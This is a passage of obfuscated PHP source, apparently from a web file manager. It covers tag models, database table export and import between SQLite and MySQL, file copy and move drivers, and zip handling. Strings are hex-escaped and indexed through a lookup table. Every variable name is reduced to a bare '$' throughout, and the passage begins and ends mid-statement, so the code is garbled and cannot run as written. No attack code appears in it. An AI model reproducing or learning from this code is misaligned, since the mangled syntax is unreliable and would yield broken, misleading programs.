$ = array($[182] => $); $ = Model($[870])->where($)->field($[2010])->select(); if (!$) { $ = array(); } Model($[870])->moveClearAuth = !1; foreach ($ as $) { $ = $[$[455]] == $[90] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[870])->move($[$[183]], $, $); } Model($[870])->moveClearAuth = !0; $ = array($[180] => 2, $[540] => $); $ = array($[540] => $); Model($[2011])->where($)->save($); Model($[2012])->where($)->save($); } $this->_changeChildLevel($[$], $[$], !0); $this->where(array($[182] => $))->save(array($[182] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\163\145\162\137\146\x61\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2013] => array($[0], $[2014]), $[2015] => array($[0], $[2016])); } protected function get($) { $ =& $_SERVER[]; $ = Model($[556])->metaGet($, $[2017]); $ = json_decode($, !0); return $ ? $ : array($[2018] => $[90], $[415] => array()); } protected function set($, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2018] => $[90], $[415] => array()); return Model($[556])->metaSet($, $[2017], json_encode($)); } protected function getByTagID($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[556])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$[415]])) { return !1; } $ = array_find_by_field($[$[415]], $[445], $); return is_array($) ? $ : !1; } public function listSource($, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($); $ = array(); foreach ($ as $) { $ = $[$[86]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[470]]; } $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = array($[461] => array($[462], $), $[540] => $, $[180] => SourceModel::TYPE_GROUP); $ = Model($[1384])->listSource($); if (!$ || count($) == $[$[412]][$[413]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[84]], $[12], $[183]); $ = array_to_keyvalue($[$[85]], $[12], $[183]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $; } protected function listData($) { $ =& $_SERVER[]; $ = array($[1696] => 0, $[528] => array($[2019], 0), $[466] => $[2020] . $); $ = $[2021]; $ = $this->field($)->where($)->order($[2022])->select(); return $ ? $ : array(); } protected function addToTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (!Model($[870])->pathInfo($)) { return !1; } $ = array($[1696] => 0, $[528] => $, $[465] => $, $[466] => $[2023] . $, $[464] => $[12], $[1908] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1696] => 0, $[528] => $, $[466] => $[2023] . $, $[465] => $); return $this->where($)->delete(); } protected function removeByTag($, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $)) { return !1; } $ = array($[1696] => 0, $[528] => $, $[466] => $[2023] . $); return $this->where($)->delete(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1696] => 0, $[465] => $, $[528] => array($[1065], 0), $[466] => $[2023] . $); return $this->where($)->delete(); } } goto C; E: define($_SERVER[][284], 1); define($_SERVER[][285], 2); define($_SERVER[][286], 3); goto C; D: class DbManage { function __construct($ = array()) { $ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$[6]][$[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($ = false) { $ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$) { return $this->model()->db(); } $ = $[$[1023]]; $[$[1023]] = $[12]; if ($[$[1018]] == $[1015]) { $ = $[$[1024]]; $[$[1024]] = substr($, 0, strrpos($, $[1110])); } $this->database = $; $ = $this->model()->db(); try { $ = $->execute("\x73\x68\x6f\x77\40\144\141\164\x61\x62\x61\163\x65\x73\x20\x6c\x69\153\x65\x20\47{$}\47"); } catch (Exception $) { } if (!$) { $->execute("\143\x72\145\141\x74\145\40\x64\x61\x74\141\x62\x61\163\x65\x20\140{$}\x60"); } $[$[1023]] = $; if ($[$[1018]] == $[1015]) { $[$[1024]] .= $[1110] . $; } $this->database = $; $->execute("\x75\x73\x65\x20\x60{$}\140"); return $; } public function createTable($, &$) { $ =& $_SERVER[]; if (!IO::exist($)) { ActionCall($[1111], !0, 0); show_json(LNG($[1112]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ = stripos($, $[1113]) === 0; if ($) { $->task[$[831]] += 1; } $->execute($); if ($) { preg_match($[1114], $, $); $->task[$[1115]] = $[1]; $->update(1); } } } public function insertTable($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($ as $) { $ = basename($, $[833]); if (!in_array($, $)) { continue; } $->task[$[1115]] = $; if (get_filesize($) == 0) { continue; } $ = $this->sqlToDb($, $); if (!$) { ActionCall($[1111], !0, 0); show_json(LNG($[1116]) . "\133{$}\135", !1); } } } public function sqlFromDb($, $, &$, $ = '') { if ($) { $->task[$_SERVER[][1115]] = $; } $ = $this->model($); $ = 0; $ = 0; $ = 10000; $ = fopen($, $_SERVER[][1117]); $ = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][832]] && in_array($, array($_SERVER[][1118], $_SERVER[][1119]))) { $ = $; } do { $ = array($ => array($_SERVER[][1065], $)); $ = $->where($)->field($)->order($ . $_SERVER[][1120])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $ = end($); $ = $[$]; $ = array(); foreach ($ as $) { if ($) { if ($ == $_SERVER[][1118]) { if ($[$_SERVER[][33]] == $_SERVER[][1121]) { $ = json_decode($[$_SERVER[][420]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][832]] && $[$_SERVER[][795]] != 1) { continue; } } } else { if ($[$_SERVER[][33]] == $_SERVER[][1122] && $[$_SERVER[][96]] == $_SERVER[][824]) { continue; } } } if ($) { $[$_SERVER[][86]] = "\x7b\x69\157\72{$}\175" . substr($[$_SERVER[][86]], strlen("\173\151\157\x3a{$[$_SERVER[][862]]}\x7d")); $[$_SERVER[][862]] = $; } $[] = $_SERVER[][1123] . $this->sqlEncode($) . $_SERVER[][1124]; } $ = "\111\116\123\x45\122\124\40\111\x4e\124\117\40\x60{$}\x60\x20\50\140" . implode($_SERVER[][1125], $) . $_SERVER[][1126]; fwrite($, $ . implode($_SERVER[][1127], $) . $_SERVER[][73] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $; } public function sqlToDb($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = @fopen($, $[1128]); if (!$) { return !1; } $ = 0; $ = $[12]; $ = array(); $ = $this->dbType(); $ = $ == $[13] ? 500 : 2000; $ = basename($, $[833]); $ = 0; $ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ = $this->sqlDecode($, $, $); if (stripos($, $[401]) === 0) { if (!$) { $ = $ . $[53]; } continue; } if ($) { $->task[$[831]] += 1; } $++; $[] = rtrim(rtrim(trim($), $[50]), $[73]); $ = null; $ = strlen($); $ += $; if ($ >= ($ == 500 ? $ : $)) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $ || $) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } $ = array(); $ = 0; $ = 0; if ($) { $ = array($); $ = 1; $ = $; } } } fclose($); if (!empty($)) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $->execute("\144\162\x6f\x70\x20\164\141\142\154\145\40\x69\146\x20\x65\x78\x69\163\164\163\x20\x60{$}\140"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($[1129], $[248]), array($[1130], $[1131]), $); $[] = str_replace($[58], $[1132], $); } return $[58] . implode($[1133], $) . $[58]; } private function sqlDecode($, $, $ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1130], $[1131]), array($[1129], $[248]), $); if ($ == $[13]) { return $ != $[1134] ? stripslashes($) : $; } if ($ == $[1134]) { $ = str_replace($[1135], $[120], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\156\163\164\x61\x6c\154\57\x64\x61\164\141\57{$}\x2e\x73\x71\x6c"; $ = file_get_contents($); $ = $[1136] . ($ == $[849] ? $[1137] : $[1138]) . $[1139]; preg_match_all($, $, $); $ = $[1]; $ = $this->model()->db(); $ = $->getTables(); $ = TEMP_FILES . $[1140] . date($[257]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1141]; $ = $ . $[1142]; $ = $ == $[13] ? $[849] : $[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\164\x61\x6c\154\x2f\144\141\164\141\x2f{$}\56\x73\161\x6c", $); @touch($ . $ . $[833]); $ = fopen($, $[1117]); $ = fopen($, $[1117]); if ($ == $[13]) { $ = array_diff($, array($[829], $[830])); $ = array($[1143], $[1144], $[1145]); fwrite($, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $) { $ = $this->sqlFromSqlite($); if (!$[$[13]]) { continue; } fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[849]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $) { $ = $this->sqlFromMysql($); if (!$[$[849]]) { continue; } fwrite($, $[$[849]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ = array($[849] => $, $[13] => $); return $ ? $[$] : $; } public function dbType($ = false) { $ =& $_SERVER[]; $ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[1018]]; if ($ == $[1015]) { $ = explode($[4], $[$[1024]]); $ = $[0]; } $ = array($[1146] => $[13], $[963] => $[849]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($[1147] . $ . $[431]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1148], $[12]); if (!$) { return !1; } $ = "\x44\122\117\120\40\124\x41\x42\114\105\x20\111\x46\x20\x45\x58\x49\x53\x54\x53\x20\x60{$}\x60\x3b" . PHP_EOL . $ . $[73]; if ($ && $ == $[849]) { return $; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[1023]]; $ = $[1149] . $ . $[1150] . $ . $[58]; $ = $[1151] . $ . $[951]; $ = $->query($); if (empty($)) { $ = array($[849] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $[12]; $ = array(); foreach ($ as $) { if (!$ && $[$[1152]] == $[1153]) { $ = $[$[1154]]; } if (isset($[$[$[1152]]])) { $[$[$[1152]]][$[1155]][] = $[$[1154]]; continue; } $[$[$[1152]]] = array($[1156] => $[$[1152]], $[1155] => array($[$[1154]]), $[1157] => $[$[1158]] == $[90] ? 0 : 1); } $ = array(); foreach ($ as $) { $ = $[$[1156]] == $[1153]; $ = array($[1159], $[$[1157]] == $[90] && !$ ? $[1160] : $[12], $[1161], $[1162] . $ . $[11] . ($ ? $[1163] : $[$[1156]]) . $[120], $[1164], $[120] . $ . $[120], $[1165] . implode($[1166], $[$[1155]]) . $[1167]); $[] = implode($[53], $) . $[73]; } $ = array(); $ = array($[1168] => $[1169], $[1169] => $[1169], $[334] => $[361], $[333] => $[361]); foreach ($ as $) { $ = array($[120] . $[$[1170]] . $[120], isset($[$[$[1171]]]) ? $[$[$[1171]]] : $[$[1172]], $[$[1173]] == $[949] ? $[1174] : $[1175], $[$[1170]] == $ ? $[1176] : $[12], $[$[1000]] ? strtoupper(str_replace($[11], $[12], $[$[1000]])) : $[12]); $[] = trim(implode($[53], $)); } $ = array($[1177] . $ . $[1178], $[1179] . $ . $[1180], implode($[50] . PHP_EOL, $), $[997]); $ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $[13]) { return $; } $ = array($[849] => $, $[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = "\x50\x52\101\107\115\101\40\124\x41\x42\114\x45\137\x49\x4e\106\x4f\40\50\x27{$}\x27\51"; $ = "\x53\x45\114\x45\103\x54\x20\x2a\40\106\122\117\x4d\40\x73\x71\x6c\x69\164\145\x5f\155\x61\163\x74\x65\162\x20\x57\x48\105\x52\x45\x20\x74\142\154\137\x6e\141\155\x65\x20\75\40\47{$}\47"; $ = $->query($); if (empty($)) { $ = array($[849] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $ = array(); foreach ($ as $) { if ($[$[33]] == $[325]) { $[] = $[$[1181]]; } else { $[$[$[32]]] = $[$[1181]]; } } $ = array_merge(array($[1177] . $ . $[120]), $, array_values($)); $ = implode($[73] . PHP_EOL, $) . $[73]; if ($ && $ == $[13]) { return $; } $ = array(); $ = array($[1169] => $[1182], $[361] => $[1183]); $ = $[12]; foreach ($ as $) { if ($[$[57]] == $[90]) { $ = $[$[32]]; } $ = array($[431] . $[$[32]] . $[431], isset($[$[$[33]]]) ? $[$[$[33]]] : $[$[33]], $[$[35]] == $[90] ? $[1174] : $[1184] . $[$[56]], $[$[57]] == $[90] ? $[1185] : $[12]); $[] = trim(implode($[53], $)); } foreach ($ as $ => $) { $ = str_replace($[1186] . $ . $[11], $[12], $); $ = str_replace(array($[120], $[1008]), $[431], substr($, stripos($, $[306]))); if ($ == $[1163]) { $ = $[1187] . $ . $[1188]; } else { $ = (stripos($, $[11]) ? $[1189] : $[12]) . ($[1190] . $ . $[1191] . $); } $[] = $; } $ = array($[1192] . $ . $[1193], $[1194] . $ . $[1195], implode($[50] . PHP_EOL, $), $[1196]); $ = implode(PHP_EOL, $); if ($ && $ == $[849]) { return $; } $ = array($[849] => $, $[13] => $); return $ ? $[$] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1197]] = $[1198] . $; Hook::trigger($[1198] . $ . $[1199], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1200])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1198] . $ . $[1201], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][588], $); } public static function move($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][590], $); } private static function copyMoveStart($, $, $, $, $) { $ =& $_SERVER[]; $ = array($, $, $, $); Hook::trigger($[1198] . $ . $[1199], $); $ = self::copyMove($, $, $, $, $); Hook::trigger($[1198] . $ . $[1201], $, $); return $; } public static function saveFile($, $, $ = true) { $ =& $_SERVER[]; $ = self::info($); $ = self::driverMake($); $ = self::driverMake($); $ = !1; if ($->pathParse[$[1202]]) { $ = $; $ = $->pathParse[$[1202]]; $ = self::driverMake($); } if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; $ = self::driverMake($); } $ = $->pathFather($); $ = !0; if (!$ && self::driverIsSame($, $)) { $ = !1; } $ = self::copyFile($, $, $, $, $[$[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; if (!$ || $ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($); $ = $ == $[590]; $ = !1; if ($->pathParse[$[1202]]) { $ = $; $ = $->pathParse[$[1202]]; $ = self::driverMake($); } if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; $ = self::driverMake($); } self::check($, $, $, $); Hook::trigger($[1203], $, $, $, $); $ = self::driverIsSame($, $); if ($) { if ($ == $[590] && !method_exists($, $[1204]) && trim($, $[8]) == trim($->pathFather($), $[8])) { if ($->pathThis($) != $ && !$->isTypeObject()) { return $->rename($, $); } return $->getPathOuter($); } if (method_exists($, $)) { return $->{$}($, $, $, $); } } if ($ && $ == $[590] && $->getType() == $[108]) { $ = $->movePath($, $, $); if ($) { return $; } } $ = $->isFile($); if (!$ && $->getType() == $[802] && $->getType() == $[108]) { $ = $->copyFolderFromIO($, $, $, $, $, $); } else { $ = self::copyPath($, $, $, $, $, $, $, $); } if ($ && $) { $->remove($); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($, $, $, &$) { $ =& $_SERVER[]; if (self::driverIsSame($, $) && $->isFolder($) && $->isParentOf($, $)) { show_json(LNG($[1205]), !1); } if (!$->exist($)) { show_json(LNG($[107]), !1); } } private static function copyPath($, $, $, $, $, $, $, $ = false, $ = true) { $ =& $_SERVER[]; $ = empty($) && $ !== $[214] ? $->pathThis($) : $; if ($) { $ = $->fileNameExist($, $); $ = $; $ = $->fileNameAuto($, $, $, !$); if (!$ || $ != $) { $ = !1; } if ($ && !$) { $->_data[$[1206]] = !0; } } if ($) { return self::copyFile($, $, $, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $; $ = $->mkdir($->getPath($), $); $ = $->getPathInner($); $ = $->listPath($, !0); $ = is_array($) ? $ : array($[85] => array(), $[84] => array()); $ = array_merge($[$[85]], $[$[84]]); foreach ($ as $) { $ = $[$[33]] == $[216]; $ = $->getPathInner($[$[86]]); $ = self::copyPath($, $, $, $, $, $, $, !1, !1); if (!$) { IO::errorTips($[1207] . $ . $[72] . $); } } self::copyMoveKeepInfo($, $, $); return $; } private static function copyFile($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $->getPath(rtrim($, $[8]) . $[8] . $); $ = $[1208] . time() . rand_string(5); Hook::trigger($[1209], $, $, $, $, $, $); if (self::driverIsSame($, $)) { if ($) { $ = $->moveFile($, $); } else { $ = $->copyFile($, $); } Hook::trigger($[1210], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[841]]) { $ = $GLOBALS[$[6]][$[91]][$[841]]; } $ = $; mk_dir($); $ = $ . $; $ = $; $ = $->download($, $); $ = $->iconvApp($); if (substr($, strlen($)) == $) { $ = !0; } $ = $->upload($, $, $); self::remove($); Hook::trigger($[1210], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($, $, $) { if (!$) { return; } $ = $->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[][87]]); } public static function pathFather($) { $ = IO::init($); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($, $ = false, $ = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $, $, $); } return $->fileOut($, $, $, $); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $ <= $[$]) { $ = $[$]; break; } else { if ($ > $[$ - 1] && $ <= $[$]) { $ = $[$]; break; } else { if ($ == count($) - 1 && $ > $[$]) { $ = $[$]; break; } } } } $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutImageServer($, $); } return $->fileOutImage($, $); } private static function driverIsSame($, $) { $ =& $_SERVER[]; $ = $->getType(); $ = $->getType(); if ($ != $) { return !1; } if ($ == $[802]) { return !0; } if ($ == $[108]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = array_to_keyvalue(self::listAllSimple($), $[86]); $ = array_to_keyvalue(self::listAllSimple($), $[86]); $ = array(); $ = array(); foreach ($ as $ => $) { if (isset($[$])) { if ($[$[77]] == 1) { continue; } if ($[$][$[78]] == $[$[78]]) { continue; } } if ($[$[77]] == 1) { $[] = $ . $[8] . trim($, $[8]); continue; } $ = strstr(trim($, $[8]), $[8]) ? get_path_father($) : $[12]; $[] = array($[1211] => $[$[88]], $[1212] => rtrim($, $[8]) . $[8] . $, $[1213] => $); } $ = array($[216] => $, $[77] => $); Hook::trigger($[1214], $, $, $); foreach ($ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$[1211]], $[$[1212]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $ = false) { $ =& $_SERVER[]; $ = self::driverMake($); $ = $->size($); $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if (!$ && $->getType() == $[108] && !$->exist($)) { $ = get_path_this($); $ = parse_url_query($); if (is_array($) && isset($[$[32]])) { $ = urldecode($[$[32]]); } throw new Exception($[1215] . LNG($[1216]) . $[1017] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("\146\151\154\145\x52\x65\x61\x64\x20\145\162\x72\x6f\162\41\40\163\x74\x61\x72\x74\75{$}\x3b\154\x65\156\147\x74\x68\x3d{$}\73\40\163\x69\172\x65\x3d{$}\73"); } $ = $->fileSubstr($, $, $); if (!$ && $ && isset($GLOBALS[$[1217]])) { throw new Exception($GLOBALS[$[1217]][$[1218]]); } return $; } private static function driverMake(&$) { $ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($[812])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $[445]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[445]]]) { return !1; } $ = $[$[1219]]; $ = self::driverGet($, $); return $; } private static function driverGet($, &$) { $ =& $_SERVER[]; $ = $[$[1220]]; $ = $[$[445]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $ = array($[1221] => $[1222], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1223]]; self::$driverListUser = array_to_keyvalue($, $[445]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1221] => $[1224], $[6] => $); $ = Action($[1225])->sharePathInfo($[$[86]]); $ = $[$[183]]; if (!$[$[183]]) { $ = Model($[634])->getInfo($[$[635]]); $ = KodIO::clear($[$[1226]] . $[$[1219]]); $[$[531]] = $; $[$[1202]] = $; $ = array($[1221] => $[1227], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1221] => $[1228], $[6] => $); $ = Model($[634])->getInfo($[$[445]]); if ($[$[183]] == $[214]) { $ = KodIO::clear($[$[1226]] . $[$[1219]]); $[$[531]] = $; $[$[1202]] = $; $ = array($[1221] => $[1229], $[6] => $); } else { if (!$) { $ = $[$[183]]; } } break; default: $ = $[$[86]]; $ = array($[1221] => $[1230]); break; } $ = $[$[86]]; if (!isset(self::$driverCache[$])) { $ = strtolower($[$[97]]); $ = $GLOBALS[$[6]][$[91]][$[871]]; $ = $[76] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { show_json("{$}\40\156\x6f\164\x20\x65\x78\x69\x73\164\x73\41", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$] = new $($); } $ = self::$driverCache[$]; $->pathDriver = $; $->pathBase = $[12]; if (isset($[$[6]][$[1231]])) { $->pathBase = rtrim($[$[6]][$[1231]], $[8]) . $[8]; $ = $->pathBase . ltrim($, $[8]); } $ = $->getPath($); if (isset($[$[1202]])) { $ = $[$[1202]]; } $->path = $; return $; } public static function errorTips($ = false) { $ =& $_SERVER[]; static $ = array(); $ = 1000; if ($ === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ === !1) { return implode($[248], $); } if (count($) >= $) { $ = array_slice($, $ * 0.5, $); } $[] = $; write_log($[165] . ACTION . $[1232] . $, $[1233]); } public static function getLastError($ = '') { $ = self::errorTips(-1); return $ ? $ : $; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "\172\151\x70", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$[84]], $[$[85]]); return self::zip($, $, $, $); } public static function zip($, $ = "\172\x69\x70", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; if (is_string($) && $) { $ = array(array($[86] => $)); } $ = self::init($[0][$[86]]); $ = self::info($[0][$[86]]); $ = $[12]; $ = $[12]; $ = $[12]; if ($ && substr($, -1, 1) != $[8]) { $ = get_path_father($); $ = get_path_this($); } else { $ = self::pathFather($[$[86]]); $ = $[$[32]] . $[10] . $; if (count($) > 1) { $ = IO::info($); $ = $[$[32]] . $[10] . $; } if ($) { $ = $; } } if ($->getType() == $[108]) { $ = self::init($); $ = $->getType() == $[108] ? $ : get_path_father($->path); $ = rtrim($, $[8]) . $[8]; mk_dir($); } else { $ = TEMP_FILES . $[1234] . time() . rand_string(8) . $[8]; mk_dir($); file_put_contents($ . $[1235], $[12]); $ = $; } $ = IO::info($); if (!$ || !$[$[219]]) { show_json(LNG($[1236]), !1); } $ = self::zipFileList($, $); foreach ($ as $ => $) { $[$] = self::iconvSystem($); } $ = get_filename_auto($ . $, $[12], $); KodArchive::create(self::iconvSystem($), $); if (!IO::exist($)) { if ($) { del_dir($); } show_json(LNG($[1237]), !1); } if (!$) { return $; } $ = self::move($, $, $); if ($) { del_dir($); } if (!$) { show_json(LNG($[1237]), !1); } return $; } public static function unzip($, $, $ = "\x2d\x31", $ = "\x72\145\x70\x6c\x61\143\x65") { $ =& $_SERVER[]; $ = parent::info($); if (!$) { show_json(LNG($[1238]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$[183]]) && trim($[$[86]], $[8]) != trim($, $[8])) { $ = KodIO::make($[$[182]]); $ = IO::fileNameAuto($, $[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ . $); } $ = $ && $ != $[1239] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($[$[216]])) { show_json(LNG($[107]), !1); } $ = $[$[1240]][count($[$[1240]]) - 1]; if ($[$[1241]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ = $[$[1242]] . rand_string(10) . $[8]; mk_dir($); $ = count($[$[1240]]) == 1 ? IO::ext($) : get_path_ext($[$[216]]); $ = KodArchive::extract(self::iconvSystem($[$[216]]), $, $[$[1241]], $, $); self::unzipErrorCheck($, array($[1243], $, $, $, $)); Hook::trigger($[1244], $); recursion_dir($, $, $, 0); $ = array_merge($, $); $ = array(); foreach ($ as $) { $ = IO::move(self::iconvApp($), $, $); if ($) { $[] = $; } } del_dir($); } else { $ = IO::move($[$[216]], $, $, get_path_this($[$[32]])); if ($) { $[] = $; } } return $ ? $ : !1; } public static function unzipList($) { $ =& $_SERVER[]; $ = isset($[$[1245]]) ? $[$[1245]] : !1; $ = isset($[$[1241]]) ? @json_decode($[$[1241]], !0) : -1; $ = self::unzipPart($[$[86]], $); if (!$ || !IO::exist($[$[216]])) { show_json(LNG($[107]), !1); } $ = $[$[1240]][count($[$[1240]]) - 1]; $ = in_array(IO::ext($[$[216]]), array($[359], $[1246], $[1247], $[1248], $[1249], $[1250])); if (!$ && ($[$[1241]] == -1 || $)) { $ = $[$[1242]] . get_path_this($[$[216]]) . $[1251]; if (!IO::exist($)) { $ = $[$[1241]] == -1 ? get_path_ext(IO::pathThis($[$[86]])) : get_path_ext($[$[216]]); $ = KodArchive::listContent(self::iconvSystem($[$[216]]), !0, $); self::unzipErrorCheck($, array($[1252], $, $)); @file_put_contents($, json_encode($[$[1253]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($[$[216]], $, get_path_this($[$[32]])); die; } private static function zipFileList($, $ = false) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { $ = $[$[86]]; if ($) { $ = self::copy($[$[86]], $, $[863]); } else { $ = self::init($[$[86]]); if ($->getType() == $[108]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$[$[86]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1216]), !1); } private static function localFilePath($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SOURCE) { $ = Model($[870])->fileInfoGet(KodIO::sourceID($)); if (!$[$[86]]) { show_json($[1254], !1); } $ = $[$[86]]; } $ = self::init($); if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; $ = self::init($); } $ = $->getType(); if ($ == $[108] || $ == $[1255]) { if (!$->exist($->path)) { show_json(LNG($[107]), !1); } return $->path; } return 